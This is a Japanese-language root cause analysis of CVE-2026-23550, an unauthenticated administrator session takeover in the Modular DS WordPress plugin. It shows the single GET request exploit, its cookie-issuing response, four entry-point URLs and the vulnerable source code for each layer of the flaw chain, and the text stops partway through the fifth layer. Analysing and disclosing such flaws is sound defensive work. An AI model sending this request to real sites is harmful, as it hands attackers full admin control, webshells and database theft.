
CVE-2026-23550の根本原因分析、PoC、および検出ガイダンス。これはWordPressプラグインModular DSにおける、認証されていない管理者セッション乗っ取りの重大な脆弱性です。
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
根本原因分析 · ソースコードウォークスルー · パッチ差分 · 教育用PoC
作成者: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) は、WordPressサイト管理プラグインで、40,000以上のアクティブインストールがあります。バージョン 2.5.1以下には、5つの複合的な欠陥の連鎖が存在し、未認証の攻撃者が認証をバイパスし、プラグインの内部ログインエンドポイントを呼び出し、最初の管理者アカウントのwordpress_logged_in_*セッションクッキーを単一のHTTP GETリクエストで取得できるようになります。
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
結果: 完全な管理者乗っ取り。攻撃者は悪意のあるプラグインのインストール、Webシェルの配置、バックアップ管理者アカウントの作成、データベースの窃取が可能です。
| フィールド | 値 |
|---|---|
| プラグイン名 | Modular DS |
| スラッグ | modular-connector |
| 脆弱バージョン | <= 2.5.1 |
| 修正バージョン | 2.5.2 |
| アクティブインストール数 | ~40,000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — 識別と認証の失敗 |
この脆弱性は、プラグインに組み込まれたカスタムLaravel由来のルーターをトリガーします。プラグインは独自のHTTPカーネル (Ares/Framework) を同梱しており、WordPressの parse_request アクションにフックして、WordPress自身のルーティングが行われる前にリクエストを乗っ取ります。
前提条件: なし(プラグインがインストールされアクティブ化されており、Modular SaaSに接続されていること — すべてのライブインストールでデフォルト)。
エントリポイント(いずれか1つで十分):
/api/modular-connector/login/<任意>?origin=mo&type=<任意>
/?rest_route=/api/modular-connector/login/<任意>&origin=mo&type=<任意>
/index.php?rest_route=/api/modular-connector/login/<任意>&origin=mo&type=<任意>
/wp-load.php?origin=mo&type=<任意>
この脆弱性は単一の欠陥ではありません — 5つの複合的な欠陥の連鎖です。各層を単独で見れば防御的に見えるかもしれませんが、組み合わさることで認証前の管理者乗っ取りに陥ります。
flowchart TB
A["🌐 攻撃者リクエスト<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>ゲートがクエリパラメータだけで開く"]
B --> C["② Router::findRoute()<br/>URLが暗黙的に /login ルートに解決される"]
C --> D["③ bindOldRoutes() フィルタ<br/>未知のtypeでフォールスルー"]
D --> E["④ ModularGuard::check()<br/>サーバーのOAuthを検証するが、リクエストは検証しない"]
E --> F["⑤ AuthController::getLogin()<br/>最初の管理者ユーザーにフォールバック"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>攻撃者 = 管理者"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | 層 | ファイル | 根本原因 |
|---|---|---|---|
| ① | ブートストラップゲート | HttpUtils.php:64 | 暗号やnonceなしのクエリのみによる origin=mo チェック |
| ② | URL→ルートマッチャー | Router.php:20 | 暗黙的なURL解決がそのままフィルタに渡される |
| ③ | ルート上書きフィルタ | RouteServiceProvider.php:46 | 未知の type で元のルートがそのままフォールスルー |
| ④ | 認証ガード | ModularGuard.php:16 | サーバー側のOAuth状態を検証するが、リクエストの身元は検証しない |
| ⑤ | ログインコントローラ | AuthController.php:66 | 入力がない場合に getAdminUser() にサイレントフォールバック |
HttpUtils::isDirectRequest()ファイル: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ クエリパラメータのみ、署名なし
}
return false;
}
問題点: 「直接リクエスト」モードは、Modular SaaSバックエンドからの正当な呼び出しを識別するためのものですが、プレーンテキストのクエリパラメータでのみゲートされており、HMAC、JWT、署名付きnonce、IP許可リストはありません。攻撃者は誰でもこのスイッチを切り替えられます。
Router::findRoute()ファイル: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ フィルタが実行される前にURLがルートに解決される
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
問題点: Laravelの routes->match($request) は、セキュリティフィルタが実行される前に /api/modular-connector/login/xxx を login ルート(認証ガード付き)に解決します。フィルタはこのルートを入力として受け取るため、ルートが不正であることを明示的に許可するのではなく、証明する負担が生じます。
bindOldRoutes()ファイル: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* 署名付きOAuth呼び出しで再バインド */ }
if ($type === 'oauth') { /* /oauth ハンドラに再バインド */ }
if ($type === 'lb') { /* /schedule/run に再バインド */ }
return $route; // ⚠️ 未知のtype → URLからのルートがそのまま残る
}
問題点: フィルタは type が3つの既知の値のいずれかである場合のみルートを上書きします。type が任意の値(x、foo、空)の場合、フォールスルーしてURL解決されたルートを変更せずに返します。URL駆動のルート login(文面上は認証ガード付き)は、ミドルウェア評価へ進みます。
ModularGuard::check()ファイル: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ サーバー状態をチェック
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
問題点: カスタム modular ガードは、受信リクエストの身元をまったく検証しません。プラグイン自体がModular SaaSとの有効なOAuthセッションをまだ保持していることだけを確認します。事実上すべてのインストールが接続されているため(そうでなければプラグインは役に立たない)、ガードはそこに到達するすべてのリクエストに対して true を返します。
これが重要な欠陥です。仮に欠陥①~③が修正されても、この壊れたガードだけでも、auth ミドルウェアグループ内のすべてのルートへの不正アクセスを許容します。
AuthController::getLogin()ファイル: src/app/Http/Controllers/AuthController.php:66